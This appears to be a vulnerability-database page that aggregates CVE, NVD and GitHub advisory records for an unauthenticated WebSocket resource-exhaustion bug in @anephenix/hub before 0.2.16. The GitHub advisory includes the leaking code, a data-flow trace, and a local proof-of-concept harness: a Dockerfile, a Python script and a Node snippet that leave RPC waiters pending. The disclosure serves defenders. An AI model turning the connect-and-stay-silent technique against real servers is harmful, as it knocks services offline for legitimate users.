Hub: Unauthenticated WebSocket RPC Waiter Resource Exhaustion

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Hub is a Node.js WebSocket server and client with added features. Prior to 0.2.16, every incoming unauthenticated WebSocket connection triggers loadDefaultConnectionEventListeners to call requestClientId, which calls rpc.send for the get-client-id action and pushes a request into RPC.requests. The RPC.waitForReply function starts a setInterval polling loop every 10 milliseconds that is cleared only after a matching reply; if the client remains silent and closes, the timer and pending request stay allocated because the socket close path does not cancel them. Repeated connections therefore cause unbounded timers and heap entries, exhausting CPU and memory and making the server unavailable. This issue is fixed in version 0.2.16.

Source published

13 Aug 2026 17:24:34 UTC

Source modified

18 Aug 2026 01:27:12 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Hub is a Node.js WebSocket server and client with added features. Prior to 0.2.16, every incoming unauthenticated WebSocket connection triggers loadDefaultConnectionEventListeners to call requestClientId, which calls rpc.send for the get-client-id action and pushes a request into RPC.requests. The RPC.waitForReply function starts a setInterval polling loop every 10 milliseconds that is cleared only after a matching reply; if the client remains silent and closes, the timer and pending request stay allocated because the socket close path does not cancel them. Repeated connections therefore cause unbounded timers and heap entries, exhausting CPU and memory and making the server unavailable. This issue is fixed in version 0.2.16.

Source published

13 Aug 2026 18:18:18 UTC

Source modified

24 Oct 2026 15:10:00 UTC

Observed here

25 Oct 2026 15:19:09 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

### Summary `@anephenix/hub` starts a `setInterval` polling loop for every incoming WebSocket connection to request a client ID via RPC. If the remote client never replies — which requires no authentication or special configuration — the interval and the pending request object are never cleaned up, even after the socket is closed. An unauthenticated attacker who opens many WebSocket connections and ignores all server RPC messages will therefore cause the server to accumulate unbounded timers and heap entries, leading to CPU and memory exhaustion (DoS). ### Details When a client connects, `loadDefaultConnectionEventListeners` (registered in `src/lib/index.ts:128`) adds a connection listener that calls `requestClientId({ ws, rpc })` for every new WebSocket (`src/lib/index.ts:262`). `requestClientId` issues an RPC send for the `get-client-id` action (`src/lib/clientId.ts:112`), which internally calls `rpc.send`. Inside `rpc.send`, the payload is pushed onto `this.requests` (`src/lib/rpc.ts:282`) and `waitForReply` is invoked. `waitForReply` starts a `setInterval` that polls `responses[]` every 10 ms for a matching reply (`src/lib/rpc.ts:250`): ```ts // src/lib/rpc.ts:250–267 interval = setInterval(() => { const response = responses.find( (r) => r.id === id && r.action === action, ); if (response) { if (interval) clearInterval(interval); // ... resolve and cleanup this.cleanupRPCCall(response); } }, 10); ``` `clearInterval` is only called when a matching response arrives. There is no timeout path and no socket-close handler that clears either the interval or the `this.requests` entry. The `close` handler registered in `loadDefaultConnectionEventListeners` (`src/lib/index.ts:128–134`) only calls `pubsub.unsubscribeClientFromAllChannels`; it does not cancel pending RPC requests for that socket. **Data flow (source → sink):** 1. `src/lib/index.ts:269` — `wss.on("connection")` accepts any remote WebSocket (no authentication). 2. `src/lib/index.ts:272` — connection listeners are iterated and invoked. 3. `src/lib/index.ts:262` — `requestClientId({ ws, rpc: this.rpc })` is called for every connection by default. 4. `src/lib/clientId.ts:112` — `rpc.send({ ws, action: 'get-client-id' })` creates an RPC request. 5. `src/lib/rpc.ts:282` — `this.requests.push(payload)` registers the pending request. 6. `src/lib/rpc.ts:250` — `setInterval(..., 10)` begins infinite polling; cleanup only happens on a matching response. Socket close does not trigger cleanup. ### PoC **Prerequisites:** Docker must be available on the host. **Step 1 — Build the verification image:** ```bash docker build --no-cache \ -f vuln-001/Dockerfile \ -t hub-vuln-001:latest \ reports/npm_web_272_anephenix__hub ``` **Step 2 — Run the container:** ```bash docker run --rm --network none hub-vuln-001:latest ``` The container runs `verify.mjs`, which: 1. Starts a `Hub` server on a local port. 2. Opens a WebSocket and waits for the server's `get-client-id` RPC message without replying. 3. Closes the socket and waits 300 ms. 4. Inspects `hub.rpc.requests.length` — it must remain `1` even though `hub.wss.clients.size` is `0`. 5. Opens five more sockets the same way (batch), then verifies that `pendingRpcRequests` equals `6`. **Step 3 — Alternatively, run the Python orchestrator directly:** ```bash python3 vuln-001/poc.py ``` **Expected output (confirmed):** ```json { "snapshotAfterClose": {"clientState": 3, "serverClients": 0, "pendingRpcRequests": 1}, "snapshotAfterBatch": {"serverClients": 0, "pendingRpcRequests": 6, "expectedPendingRpcRequests": 6} } ``` `pendingRpcRequests` grows linearly with the number of unanswered connections and never decreases, confirming the unbounded resource leak. **Minimal inline reproduction** (without Docker, inside the repository after `npm ci && npm run build`): ```bash node --input-type=module - <<'EOF' import Hub from './dist/esm/index.js'; import { WebSocket } from 'ws'; const port = 8766; const hub = new Hub({ port }); hub.listen(); const ws = new WebSocket(`ws://localhost:${port}`); await new Promise((resolve) => ws.once('message', resolve)); ws.close(); await new Promise((resolve) => setTimeout(resolve, 300)); console.log(JSON.stringify({ serverClients: hub.wss.clients.size, pendingRpcRequests: hub.rpc.requests.length, })); hub.server.close(); process.exit(0); EOF ``` Expected: ```json {"serverClients": 0, "pendingRpcRequests": 1} ``` ### Impact This is an **unauthenticated Denial-of-Service** vulnerability. Any network-reachable `@anephenix/hub` server running with default configuration is affected. An attacker who opens a large number of WebSocket connections and never replies to the server's `get-client-id` RPC causes the server process to accumulate one `setInterval` timer (polling every 10 ms) and one heap object per connection indefinitely. With enough connections this exhausts CPU scheduling time and memory, making the server unavailable to legitimate clients. No authentication, special headers, or knowledge of internal protocol details are required — a plain WebSocket `connect` followed by silence is sufficient. ### Reproduction artifacts #### `Dockerfile` ```dockerfile FROM node:20-alpine RUN apk add --no-cache python3 make g++ WORKDIR /app # Install dependencies first for layer caching COPY repo/package.json repo/package-lock.json ./ RUN npm ci --ignore-scripts # Copy the rest of the source and build COPY repo/ ./ RUN npm run build # Copy the vulnerability verification script into /app so node_modules is resolvable COPY vuln-001/verify.mjs /app/verify.mjs CMD ["node", "/app/verify.mjs"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ VULN-001 PoC — Unauthenticated WebSocket RPC Waiter Resource Exhaustion (@anephenix/hub v0.2.15) Builds a Docker image containing the hub library and a verification script, then runs the container to produce deterministic evidence that hub.rpc.requests[] entries (and their backing setInterval timers) are never cleaned up when a WebSocket client disconnects without replying to the server's "get-client-id" RPC request. Usage: python3 poc.py Exit codes: 0 — vulnerability confirmed (PASS) 1 — not reproduced (FAIL) 2 — environment / build error """ import json import subprocess import sys from pathlib import Path # --------------------------------------------------------------------------- # Paths # --------------------------------------------------------------------------- SCRIPT_DIR = Path(__file__).resolve().parent REPO_ROOT = SCRIPT_DIR.parent # …/npm_web_272_anephenix__hub/ DOCKERFILE = SCRIPT_DIR / "Dockerfile" POC_TAG = "hub-vuln-001:latest" BUILD_CMD = [ "docker", "build", "--no-cache", "-f", str(DOCKERFILE), "-t", POC_TAG, str(REPO_ROOT), # build context = parent dir so COPY repo/ and COPY vuln-001/ both resolve ] RUN_CMD = [ "docker", "run", "--rm", "--network", "none", # no external network access needed POC_TAG, ] def banner(msg: str) -> None: print(f"\n{'='*60}\n {msg}\n{'='*60}") def run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess: print("$", " ".join(cmd)) return subprocess.run(cmd, **kwargs) def build_image() -> None: banner("Phase 1 — Building Docker image") result = run(BUILD_CMD, capture_output=False) if result.returncode != 0: print("[ERROR] Docker build failed.", file=sys.stderr) sys.exit(2) print("[OK] Image built:", POC_TAG) def run_poc() -> dict: banner("Phase 2 — Running vulnerability verification inside container") result = run(RUN_CMD, capture_output=True, text=True) print("--- container stdout ---") print(result.stdout) if result.stderr: print("--- container stderr ---") print(result.stderr) # The container exits 0 on confirmed leak, 1 otherwise. if result.returncode == 2: print("[ERROR] Verification script crashed.", file=sys.stderr) sys.exit(2) try: data = json.loads(result.stdout) except json.JSONDecodeError as exc: print(f"[ERROR] Could not parse container output as JSON: {exc}", file=sys.stderr) sys.exit(2) return data, result.returncode def evaluate(data: dict, container_exit: int) -> tuple[bool, str]: """Return (passed, evidence_summary).""" after_close = data.get("snapshotAfterClose", {}) after_batch = data.get("snapshotAfterBatch", {}) leaked_single = ( after_close.get("pendingRpcRequests", 0) > 0 and after_close.get("serverClients", -1) == 0 and after_close.get("clientState", -1) == 3 # WebSocket.CLOSED ) leaked_batch = ( after_batch.get("pendingRpcRequests", 0) == after_batch.get("expectedPendingRpcRequests", -1) ) passed = leaked_single and leaked_batch and container_exit == 0 evidence = ( f"snapshotAfterClose={json.dumps(after_close)}; " f"snapshotAfterBatch={json.dumps(after_batch)}; " f"container_exit={container_exit}" ) return passed, evidence def main() -> None: build_image() data, container_exit = run_poc() banner("Phase 3 — Evaluating results") passed, evidence = evaluate(data, container_exit) if passed: print("[PASS] Leak confirmed: RPC waiter entries persist after socket close.") else: print("[FAIL] Leak NOT observed — check container output above.") return passed, evidence, data if __name__ == "__main__": passed, evidence, raw = main() verdict = "PASS" if passed else "FAIL" reason = ( "소켓이 닫힌 뒤에도 hub.rpc.requests[] 항목과 setInterval 타이머가 해제되지 않음이 " "런타임 검사로 확인됨. 단일 연결에서 pendingRpcRequests=1이 유지되고, " "배치 5개 추가 후 총 6개가 누적되어 선형 리소스 누수가 증명됨." if passed else "컨테이너 실행 결과에서 결정적 증거를 확보하지 못했음." ) result_path = SCRIPT_DIR / "phase2_result.json" phase2 = { "passed": passed, "verdict": verdict, "reason": reason, "build_command": " ".join(BUILD_CMD), "run_command": " ".join(RUN_CMD), "poc_command": f"python3 {Path(__file__).name}", "evidence": evidence, "artifacts": ["Dockerfile", "verify.mjs", "poc.py"], } result_path.write_text(json.dumps(phase2, indent=2, ensure_ascii=False)) print(f"\n[INFO] Results written to {result_path}") sys.exit(0 if passed else 1) ```

Source published

24 Jul 2026 21:47:29 UTC

Source modified

13 Aug 2026 17:40:58 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH